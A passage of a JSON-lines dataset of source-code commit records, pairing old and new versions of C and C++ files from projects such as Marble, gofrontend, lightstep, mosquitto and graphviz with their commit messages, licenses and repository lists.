m_currentText;\n\tinline int popIdx( int population );\n};\n\n#endif \/\/ GPXMLHANDLER_H\n","new_contents":"#ifndef GPXMLHANDLER_H\n#define GPXMLHANDLER_H\n\n#include <QtXml\/QXmlDefaultHandler>\n#include <QtCore\/QDebug>\n\nclass PlaceContainer;\nclass PlaceMark;\n\nclass KAtlasXmlHandler : public QXmlDefaultHandler {\npublic:\n\tKAtlasXmlHandler();\n\tKAtlasXmlHandler( PlaceContainer* );\n\n\tbool startDocument();\n\tbool stopDocument();\n\n\tbool startElement( const QString&, const QString&, const QString &name, const QXmlAttributes& attrs );\n\tbool endElement( const QString&, const QString&, const QString &name );\n\n\tbool characters( const QString& str );\n\nprotected:\n\tPlaceContainer* m_placecontainer;\n\tPlaceMark* m_placemark;\n\n\tbool m_inKml;\n\tbool m_inPlacemark;\n\tbool m_inPoint;\n\tbool m_coordsset;\n\n\tQString m_currentText;\n\tinline int popIdx( int population );\n};\n\n#endif \/\/ GPXMLHANDLER_H\n","subject":"Fix build with enable final","message":"Fix build with enable final\n\nsvn path=\/trunk\/kdereview\/marble\/; revision=665299\n","lang":"C","license":"lgpl-2.1","repos":"AndreiDuma\/marble,utkuaydin\/marble,Earthwings\/marble,tzapzoor\/marble,quannt24\/marble,utkuaydin\/marble,oberluz\/marble,rku\/marble,oberluz\/marble,AndreiDuma\/marble,utkuaydin\/marble,David-Gil\/marble-dev,probonopd\/marble,quannt24\/marble,Earthwings\/marble,rku\/marble,Earthwings\/marble,rku\/marble,utkuaydin\/marble,David-Gil\/marble-dev,tzapzoor\/marble,oberluz\/marble,adraghici\/marble,Earthwings\/marble,tucnak\/marble,tucnak\/marble,tzapzoor\/marble,probonopd\/marble,tucnak\/marble,David-Gil\/marble-dev,David-Gil\/marble-dev,oberluz\/marble,adraghici\/marble,tucnak\/marble,quannt24\/marble,rku\/marble,rku\/marble,tzapzoor\/marble,probonopd\/marble,AndreiDuma\/marble,quannt24\/marble,tucnak\/marble,Earthwings\/marble,AndreiDuma\/marble,quannt24\/marble,AndreiDuma\/marble,adraghici\/marble,quannt24\/marble,oberluz\/marble,quannt24\/marble,utkuaydin\/marble,tzapzoor\/marble,tucnak\/marble,David-Gil\/marble-dev,utkuaydin\/marble,tzapzoor\/marble,oberluz\/marble,rku\/marble,Earthwings\/marble,adraghici\/marble,tzapzoor\/marble,AndreiDuma\/marble,tzapzoor\/marble,probonopd\/marble,probonopd\/marble,adraghici\/marble,probonopd\/marble,probonopd\/marble,tucnak\/marble,adraghici\/marble,David-Gil\/marble-dev"}
{"commit":"936e55e8fad9394aeee8e4ca4e50c1247ca4d390","old_file":"libgo\/runtime\/yield.c","new_file":"libgo\/runtime\/yield.c","old_contents":"\/\/ Copyright 2011 The Go Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file.\n\n#include \"config.h\"\n\n#include <stddef.h>\n#include <sys\/types.h>\n#include <sys\/time.h>\n#include <sched.h>\n#include <unistd.h>\n\n#ifdef HAVE_SYS_SELECT_H\n#include <sys\/select.h>\n#endif\n\n#include \"runtime.h\"\n\n\/* Spin wait.  *\/\n\nvoid\nruntime_procyield (uint32 cnt)\n{\n  volatile uint32 i;\n\n  for (i = 0; i < cnt; ++i)\n    {\n#if defined (__i386__) || defined (__x86_64__)\n      __builtin_ia32_pause ();\n#endif\n    }\n}\n\n\/* Ask the OS to reschedule this thread.  *\/\n\nvoid\nruntime_osyield (void)\n{\n  sched_yield ();\n}\n\n\/* Sleep for some number of microseconds.  *\/\n\nvoid\nruntime_usleep (uint32 us)\n{\n  struct timeval tv;\n\n  tv.tv_sec = us \/ 1000000;\n  tv.tv_usec = us % 1000000;\n  select (0, NULL, NULL, NULL, &tv);\n}\n","new_contents":"\/\/ Copyright 2011 The Go Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file.\n\n#include \"config.h\"\n\n#include <stddef.h>\n#include <sys\/types.h>\n#include <sys\/time.h>\n#include <sched.h>\n#include <unistd.h>\n\n#ifdef HAVE_SYS_SELECT_H\n#include <sys\/select.h>\n#endif\n\n#if defined (__i386__) || defined (__x86_64__)\n#include <xmmintrin.h>\n#endif\n\n#include \"runtime.h\"\n\n\/* Spin wait.  *\/\n\nvoid\nruntime_procyield (uint32 cnt)\n{\n  volatile uint32 i;\n\n  for (i = 0; i < cnt; ++i)\n    {\n#if defined (__i386__) || defined (__x86_64__)\n      _mm_pause ();\n#endif\n    }\n}\n\n\/* Ask the OS to reschedule this thread.  *\/\n\nvoid\nruntime_osyield (void)\n{\n  sched_yield ();\n}\n\n\/* Sleep for some number of microseconds.  *\/\n\nvoid\nruntime_usleep (uint32 us)\n{\n  struct timeval tv;\n\n  tv.tv_sec = us \/ 1000000;\n  tv.tv_usec = us % 1000000;\n  select (0, NULL, NULL, NULL, &tv);\n}\n","subject":"Use _mm_pause rather than __builtin_ia32_pause.","message":"runtime: Use _mm_pause rather than __builtin_ia32_pause.\n\nBased on a patch from Peter Collingbourne.\n\nR=iant\nCC=gofrontend-dev\nhttps:\/\/golang.org\/cl\/102920043\n","lang":"C","license":"bsd-3-clause","repos":"anlhord\/gofrontend,golang\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend"}
{"commit":"6fdc8bc13b4b71d9285009f996863aad8af046b2","old_file":"io\/block_channel.h","new_file":"io\/block_channel.h","old_contents":"#ifndef\tBLOCK_CHANNEL_H\n#define\tBLOCK_CHANNEL_H\n\nclass Action;\nclass Buffer;\n\nclass BlockChannel {\nprotected:\n\tBlockChannel(void)\n\t{ }\n\npublic:\n\tvirtual ~BlockChannel()\n\t{ }\n\n\tvirtual Action *close(EventCallback *) = 0;\n\tvirtual Action *read(off_t, EventCallback *) = 0;\n\tvirtual Action *write(off_t, Buffer *, EventCallback *) = 0;\n};\n\n#endif \/* !BLOCK_CHANNEL_H *\/\n","new_contents":"#ifndef\tBLOCK_CHANNEL_H\n#define\tBLOCK_CHANNEL_H\n\nclass Action;\nclass Buffer;\n\nclass BlockChannel {\nprotected:\n\tsize_t bsize_;\n\n\tBlockChannel(size_t bsize)\n\t: bsize_(bsize)\n\t{ }\n\npublic:\n\tvirtual ~BlockChannel()\n\t{ }\n\n\tvirtual Action *close(EventCallback *) = 0;\n\tvirtual Action *read(off_t, EventCallback *) = 0;\n\tvirtual Action *write(off_t, Buffer *, EventCallback *) = 0;\n};\n\n#endif \/* !BLOCK_CHANNEL_H *\/\n","subject":"Make block size a protected member of a block channel.","message":"Make block size a protected member of a block channel.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"31e81b47fe1982b5fe8bdf22c5820943317832f4","old_file":"src\/util\/std.c","new_file":"src\/util\/std.c","old_contents":"#include <string.h>\n\n#include \"std.h\"\n\nint std_from_str(const char *std, enum c_std *penu, int *gnu)\n{\n\tif(!strcmp(std, \"-ansi\"))\n\t\tgoto std_c90;\n\n\tif(strncmp(std, \"-std=\", 5))\n\t\treturn 1;\n\tstd += 5;\n\n\tif(!strncmp(std, \"gnu\", 3)){\n\t\tif(gnu)\n\t\t\t*gnu = 1;\n\t\tstd += 3;\n\t}else if(*std == 'c'){\n\t\tif(gnu)\n\t\t\t*gnu = 0;\n\t\tstd++;\n\t}else{\n\t\treturn 1;\n\t}\n\n\tif(!strcmp(std, \"99\")){\n\t\t*penu = STD_C99;\n\t}else if(!strcmp(std, \"90\")){\nstd_c90:\n\t\t*penu = STD_C90;\n\t}else if(!strcmp(std, \"89\")){\n\t\t*penu = STD_C89;\n\t}else if(!strcmp(std, \"11\")){\n\t\t*penu = STD_C11;\n\t}else if(!strcmp(std, \"17\") || !strcmp(std, \"18\")){\n\t\t*penu = STD_C18;\n\t}else{\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include <string.h>\n\n#include \"std.h\"\n\nint std_from_str(const char *std, enum c_std *penu, int *gnu)\n{\n\tif(!strcmp(std, \"-ansi\")){\n\t\tif(gnu)\n\t\t\t*gnu = 0;\n\t\tgoto std_c90;\n\t}\n\n\tif(strncmp(std, \"-std=\", 5))\n\t\treturn 1;\n\tstd += 5;\n\n\tif(!strncmp(std, \"gnu\", 3)){\n\t\tif(gnu)\n\t\t\t*gnu = 1;\n\t\tstd += 3;\n\t}else if(*std == 'c'){\n\t\tif(gnu)\n\t\t\t*gnu = 0;\n\t\tstd++;\n\t}else{\n\t\treturn 1;\n\t}\n\n\tif(!strcmp(std, \"99\")){\n\t\t*penu = STD_C99;\n\t}else if(!strcmp(std, \"90\")){\nstd_c90:\n\t\t*penu = STD_C90;\n\t}else if(!strcmp(std, \"89\")){\n\t\t*penu = STD_C89;\n\t}else if(!strcmp(std, \"11\")){\n\t\t*penu = STD_C11;\n\t}else if(!strcmp(std, \"17\") || !strcmp(std, \"18\")){\n\t\t*penu = STD_C18;\n\t}else{\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n","subject":"Fix uninitialised gnu output for \"-ansi\" flag","message":"Fix uninitialised gnu output for \"-ansi\" flag\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"43e53ff9f64e521eafefecf79e8694231aa80021","old_file":"src\/c++11\/value.h","new_file":"src\/c++11\/value.h","old_contents":"\/\/ -*- Mode: C++ -*-\n#include \"mapbox_variant\/variant.hpp\"\n\n#include <cstdint>\n#include <string>\n#include <vector>\n#include <unordered_map>\n\n\/\/ Variant value types for span tags and log payloads.\n\n#ifndef __LIGHTSTEP_VALUE_H__\n#define __LIGHTSTEP_VALUE_H__\n\nnamespace lightstep {\n  \nclass Value;\n\ntypedef std::unordered_map<std::string, Value> Dictionary;\ntypedef std::vector<Value> Values;\ntypedef mapbox::util::variant<bool,\n\t\t\t      double,\n\t\t\t      int64_t,\n\t\t\t      uint64_t,\n\t\t\t      std::string,\n\t\t\t      std::nullptr_t,\n\t\t\t      Values,\n\t\t\t      Dictionary> variant_type;\n\n\nclass Value : public variant_type {\npublic:\n  Value() : variant_type(nullptr) { }\n\n  template <typename T>\n  Value(T&& t) : variant_type(t) { }\n\n  std::string to_string() const;\n};\n\n} \/\/ namespace lighstep\n\n#endif \/\/ __LIGHTSTEP_VALUE_H__\n","new_contents":"\/\/ -*- Mode: C++ -*-\n#include \"mapbox_variant\/variant.hpp\"\n\n#include <cstdint>\n#include <string>\n#include <vector>\n#include <unordered_map>\n\n\/\/ Variant value types for span tags and log payloads.\n\n#ifndef __LIGHTSTEP_VALUE_H__\n#define __LIGHTSTEP_VALUE_H__\n\nnamespace lightstep {\n  \nclass Value;\n\ntypedef std::unordered_map<std::string, Value> Dictionary;\ntypedef std::vector<Value> Values;\ntypedef mapbox::util::variant<bool,\n\t\t\t      double,\n\t\t\t      int64_t,\n\t\t\t      uint64_t,\n\t\t\t      std::string,\n\t\t\t      std::nullptr_t,\n\t\t\t      mapbox::util::recursive_wrapper<Values>,\n\t\t\t      mapbox::util::recursive_wrapper<Dictionary>> variant_type;\n\n\nclass Value : public variant_type {\npublic:\n  Value() : variant_type(nullptr) { }\n\n  template <typename T>\n  Value(T&& t) : variant_type(t) { }\n\n  std::string to_string() const;\n};\n\n} \/\/ namespace lighstep\n\n#endif \/\/ __LIGHTSTEP_VALUE_H__\n","subject":"Fix for recursive template (which somehow builds on Apple LLVM version 7.3.0 (clang-703.0.31)","message":"Fix for recursive template (which somehow builds on Apple LLVM version 7.3.0 (clang-703.0.31)\n","lang":"C","license":"mit","repos":"lightstep\/lightstep-tracer-cpp,lightstep\/lightstep-tracer-cpp,lightstep\/lightstep-tracer-cpp,lightstep\/lightstep-tracer-cpp,lightstep\/lightstep-tracer-cpp"}
{"commit":"0b3b2c730aa260f1d060f5f70cf871174da28fc8","old_file":"src\/pam_unshare.c","new_file":"src\/pam_unshare.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <security\/pam_appl.h>\n#include <security\/pam_modules.h>\n\nPAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {\n    return PAM_SUCCESS;\n}\n\n\nPAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {\n    return PAM_SUCCESS;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <security\/pam_appl.h>\n#include <security\/pam_modules.h>\n\nPAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {\n    printf(\"pam_unshare pam_sm_open_session\\n\");\n    return PAM_SUCCESS;\n}\n\n\nPAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {\n    printf(\"pam_unshare pam_sm_close_session\\n\");\n    return PAM_SUCCESS;\n}\n","subject":"Make it print something on session open\/close","message":"Make it print something on session open\/close\n","lang":"C","license":"mit","repos":"gpjt\/pam-unshare"}
{"commit":"5ee374583520de994200ea3ddbaa05b4dab71e32","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Tree_Minimum(BSTNode* n);\nBSTNode* BST_Tree_Maximum(BSTNode* n);\nBSTNode* BST_Tree_Root(BST* T);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Tree_Minimum(BSTNode* n);\nBSTNode* BST_Tree_Maximum(BSTNode* n);\nBSTNode* BST_Tree_Root(BST* T);\nBSTNode* BST_Tree_Successor(BSTNode* n);\nBSTNode* BST_Tree_Predecessor(BSTNode* n);\n\n#endif","subject":"Add BST Predecessor\/Successor func declaration","message":"Add BST Predecessor\/Successor func declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"cf4397b954e8a1cfe777708f26dee8ad43ece917","old_file":"src\/core\/map\/block\/SimpleBlock.h","new_file":"src\/core\/map\/block\/SimpleBlock.h","old_contents":"\/\/\n\/\/ Created by dar on 11\/25\/15.\n\/\/\n\n#ifndef C003_SIMPLEBLOCK_H\n#define C003_SIMPLEBLOCK_H\n#pragma once\n\n#include \"Block.h\"\n\nclass SimpleBlock : public Block {\n\npublic:\n    SimpleBlock(Map *map, int texPos, int x, int y) : Block(map, x, y), texPos(texPos) {\n        shape.SetAsBox(0.5, 0.5);\n        b2FixtureDef fixDef;\n        fixDef.shape = &shape;\n        fixDef.isSensor = true;\n        body->CreateFixture(&fixDef);\n    };\n\n    int getTexPos() const {\n        return texPos;\n    }\n\nprivate:\n    int texPos;\n};\n\n#endif \/\/C003_SIMPLEBLOCK_H","new_contents":"\/\/\n\/\/ Created by dar on 11\/25\/15.\n\/\/\n\n#ifndef C003_SIMPLEBLOCK_H\n#define C003_SIMPLEBLOCK_H\n#pragma once\n\n#include \"Block.h\"\n\nclass SimpleBlock : public Block {\n\npublic:\n    SimpleBlock(Map *map, int texPos, int x, int y) : Block(map, x, y), texPos(texPos) {\n        shape.SetAsBox(0.5, 0.5);\n        b2FixtureDef fixDef;\n        fixDef.shape = &shape;\n        fixDef.isSensor = texPos >= 13 * 16;\n        body->CreateFixture(&fixDef);\n    };\n\n    int getTexPos() const {\n        return texPos;\n    }\n\nprivate:\n    int texPos;\n};\n\n#endif \/\/C003_SIMPLEBLOCK_H","subject":"Undo commit: \"Made all blocks sensors\"","message":"Undo commit: \"Made all blocks sensors\"\n","lang":"C","license":"mit","repos":"darsto\/spooky,darsto\/spooky"}
{"commit":"164fe0f58855721bd10abc4498e993443665b6fb","old_file":"src\/node.h","new_file":"src\/node.h","old_contents":"#ifndef SRC_NODE_H_\n\n#define SRC_NODE_H_\n\n#include <boost\/serialization\/serialization.hpp>\n#include <boost\/serialization\/access.hpp>\n#include <boost\/serialization\/nvp.hpp>\n#include <memory>\n#include \".\/render_data.h\"\n#include \".\/math\/obb.h\"\n\nclass Gl;\n\n\/**\n * \\brief Base class for nodes which are managed by the\n * Nodes class\n *\n * The only virtual method which must be implemented is\n * Node::render.\n *\/\nclass Node\n{\n public:\n  virtual ~Node()\n  {\n  }\n\n  virtual void render(Gl *gl, RenderData renderData) = 0;\n\n  virtual std::shared_ptr<Math::Obb> getObb()\n  {\n    return std::shared_ptr<Math::Obb>();\n  }\n\n protected:\n  Node()\n  {\n  }\n\n private:\n  friend class boost::serialization::access;\n  template <class Archive>\n  void serialize(Archive &ar, unsigned int version) const\n  {\n  }\n};\n\n#endif  \/\/ SRC_NODE_H_\n","new_contents":"#ifndef SRC_NODE_H_\n\n#define SRC_NODE_H_\n\n#include <boost\/serialization\/serialization.hpp>\n#include <boost\/serialization\/access.hpp>\n#include <boost\/serialization\/nvp.hpp>\n#include <memory>\n#include \".\/render_data.h\"\n#include \".\/math\/obb.h\"\n\nclass Gl;\n\n\/**\n * \\brief Base class for nodes which are managed by the\n * Nodes class\n *\n * The only virtual method which must be implemented is\n * Node::render.\n *\/\nclass Node\n{\n public:\n  virtual ~Node()\n  {\n  }\n\n  virtual void render(Gl *gl, RenderData renderData) = 0;\n\n  virtual std::shared_ptr<Math::Obb> getObb()\n  {\n    return std::shared_ptr<Math::Obb>();\n  }\n\n  bool isPersistable()\n  {\n    return persistable;\n  }\n\n protected:\n  Node()\n  {\n  }\n\n  bool persistable = true;\n\n private:\n  friend class boost::serialization::access;\n  template <class Archive>\n  void serialize(Archive &ar, unsigned int version) const\n  {\n  }\n};\n\n#endif  \/\/ SRC_NODE_H_\n","subject":"Add protected persistable property to Node base class.","message":"Add protected persistable property to Node base class.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"9a9fe830340cd70d490325f70ef46c2736d953df","old_file":"Engine\/Entity.h","new_file":"Engine\/Entity.h","old_contents":"#ifndef __ENTITY_H__\n#define __ENTITY_H__\n\n#include \"ModuleCollision.h\"\n\nclass Entity\n{\npublic:\n\n\tEntity() : Parent(nullptr) {}\n\n\tEntity(Entity* parent) : Parent(parent) {}\n\n\tvirtual ~Entity() {}\n\n\t\/\/ Entity lifecycle methods\n\n\tvirtual bool Start()\n\t{\n\t\treturn true;\n\t}\n\n\tvirtual bool Start(bool active)\n\t{\n\t\tthis->_active = active;\n\t\treturn true;\n\t}\n\n\tbool Enable()\n\t{\n\t\tif (!_active)\n\t\t\treturn _active = Start();\n\t\treturn true;\n\t}\n\n\tbool Disable()\n\t{\n\t\tif (_active)\n\t\t\treturn _active = !CleanUp();\n\t\treturn false;\n\t}\n\n\tbool IsEnabled()\n\t{\n\t\treturn _active;\n\t}\n\n\tvirtual void PreUpdate() {}\n\n\tvirtual void Update() {}\n\n\tvirtual void PostUpdate() {}\n\n\tvirtual bool CleanUp()\n\t{\n\t\treturn true;\n\t}\n\n\t\/\/ Callbacks\n\tvirtual bool OnCollision(Collider origin, Collider other)\n\t{\n\t\treturn true;\n\t}\n\npublic:\n\tEntity* Parent;\n\nprivate:\n\tbool _active = true;\n};\n\n#endif \/\/ __ENTITY_H__\n","new_contents":"#ifndef __ENTITY_H__\n#define __ENTITY_H__\n\n#include \"ModuleCollision.h\"\n#include \"Point3.h\"\n\nclass Entity\n{\npublic:\n\n\tEntity() : Parent(nullptr) {}\n\n\tEntity(Entity* parent) : Parent(parent) {}\n\n\tvirtual ~Entity() {}\n\n\t\/\/ Entity lifecycle methods\n\n\tvirtual bool Start()\n\t{\n\t\treturn true;\n\t}\n\n\tbool Enable()\n\t{\n\t\tif (!_active)\n\t\t\treturn _active = Start();\n\t\treturn true;\n\t}\n\n\tbool Disable()\n\t{\n\t\tif (_active)\n\t\t\treturn _active = !CleanUp();\n\t\treturn false;\n\t}\n\n\tbool IsEnabled()\n\t{\n\t\treturn _active;\n\t}\n\n\tvirtual void PreUpdate() {}\n\n\tvirtual void Update() {}\n\n\tvirtual void PostUpdate() {}\n\n\tvirtual bool CleanUp()\n\t{\n\t\treturn true;\n\t}\n\n\t\/\/ Callbacks\n\tvirtual bool OnCollision(Collider& origin, Collider& other)\n\t{\n\t\treturn true;\n\t}\n\npublic:\n\tEntity* Parent;\n\tiPoint3 _position;\n\nprivate:\n\tbool _active = true;\n};\n\n#endif \/\/ __ENTITY_H__\n","subject":"Fix calling by reference in entity","message":"Fix calling by reference in entity\n\n","lang":"C","license":"mit","repos":"jowie94\/The-Simpsons-Arcade,jowie94\/The-Simpsons-Arcade"}
{"commit":"af94158c6819f384f0f5b88dd00b0dc696a04d73","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define true 1\n#define false 0\n\n#define ALLOC(type) ALLOC_N(type, 1)\n#define ALLOC_N(type, n) ((type*) xmalloc(sizeof(type) * (n)))\n#define MEMCPY(dst, src, type) MEMCPY_N(dst, src, type, 1)\n#define MEMCPY_N(dst, src, type, n) (memcpy((dst), (src), sizeof(type) * (n)))\n\nvoid *xmalloc(size_t);\nchar *hextoa(const char *, int);\nchar *strclone(const char *string);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), strlen(y)) == 0)\n\n#endif \/* UTIL_H *\/\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define true 1\n#define false 0\n\n#define ALLOC(type) ALLOC_N(type, 1)\n#define ALLOC_N(type, n) ((type*) xmalloc(sizeof(type) * (n)))\n#define MEMCPY(dst, src, type) MEMCPY_N(dst, src, type, 1)\n#define MEMCPY_N(dst, src, type, n) (memcpy((dst), (src), sizeof(type) * (n)))\n\nvoid *xmalloc(size_t);\nchar *hextoa(const char *, int);\nchar *strclone(const char *string);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), strlen(y)) == 0)\n\n#define DEFINE_REFCOUNTERS_FOR(type)       \\\n  void sp_##type##_add_ref(sp_##type *x) {} \\\n  void sp_##type##_release(sp_##type *x) {}\n\n#define DEFINE_READER(return_type, kind, field) \\\n  return_type sp_##kind##_##field(sp_##kind *x) \\\n  {                                             \\\n    return x->field;                            \\\n  }\n\n#define DEFINE_SESSION_READER(return_type, kind, field) \\\n  return_type sp_##kind##_##field(sp_session *x, sp_##kind *y) \\\n  {                                                     \\\n    return y->field;                                    \\\n  }\n\n#endif \/* UTIL_H *\/\n","subject":"Add DEFINE_X macros, for ref counters, readers and session readers","message":"Add DEFINE_X macros, for ref counters, readers and session readers","lang":"C","license":"apache-2.0","repos":"mopidy\/libmockspotify,mopidy\/libmockspotify,mopidy\/libmockspotify"}
{"commit":"3e742910e8b89a2c006c2d3ec90eda68212916f1","old_file":"library\/util.c","new_file":"library\/util.c","old_contents":"","new_contents":"#include <mqtt3.h>\n\nconst char *mqtt_command_to_string(uint8_t command)\n{\n\tswitch(command){\n\t\tcase CONNACK:\n\t\t\treturn \"CONNACK\";\n\t\tcase CONNECT:\n\t\t\treturn \"CONNECT\";\n\t\tcase DISCONNECT:\n\t\t\treturn \"DISCONNECT\";\n\t\tcase PINGREQ:\n\t\t\treturn \"PINGREQ\";\n\t\tcase PINGRESP:\n\t\t\treturn \"PINGRESP\";\n\t\tcase PUBACK:\n\t\t\treturn \"PUBACK\";\n\t\tcase PUBCOMP:\n\t\t\treturn \"PUBCOMP\";\n\t\tcase PUBLISH:\n\t\t\treturn \"PUBLISH\";\n\t\tcase PUBREC:\n\t\t\treturn \"PUBREC\";\n\t\tcase PUBREL:\n\t\t\treturn \"PUBREL\";\n\t\tcase SUBACK:\n\t\t\treturn \"SUBACK\";\n\t\tcase SUBSCRIBE:\n\t\t\treturn \"SUBSCRIBE\";\n\t\tcase UNSUBACK:\n\t\t\treturn \"UNSUBACK\";\n\t\tcase UNSUBSCRIBE:\n\t\t\treturn \"UNSUBSCRIBE\";\n\t}\n\treturn \"UNKNOWN\";\n}\n","subject":"Add missing code for command to string conversion.","message":"Add missing code for command to string conversion.\n","lang":"C","license":"bsd-3-clause","repos":"zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto"}
{"commit":"a4a5d761f9cee11c229b9a10189505ead3324bc5","old_file":"cmd\/lefty\/str.h","new_file":"cmd\/lefty\/str.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/* Lefteris Koutsofios - AT&T Bell Laboratories *\/\n\n#ifndef _STR_H\n#define _STR_H\n    void Sinit(void);\n    void Sterm(void);\n    char *Spath(char *, Tobj);\n    char *Sseen(Tobj, char *);\n    char *Sabstract(Tobj, Tobj);\n    char *Stfull(Tobj);\n    char *Ssfull(Tobj, Tobj);\n    char *Scfull(Tobj, int, int);\n#endif\t\t\t\t\/* _STR_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* Lefteris Koutsofios - AT&T Labs Research *\/\n\n#ifndef _STR_H\n#define _STR_H\nvoid Sinit (void);\nvoid Sterm (void);\nchar *Spath (char *, Tobj);\nchar *Sseen (Tobj, char *);\nchar *Sabstract (Tobj, Tobj);\nchar *Stfull (Tobj);\nchar *Ssfull (Tobj, Tobj);\nchar *Scfull (Tobj, int, int);\n#endif \/* _STR_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Update with new lefty, fixing many bugs and supporting new features","message":"Update with new lefty, fixing many bugs and supporting new features\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,pixe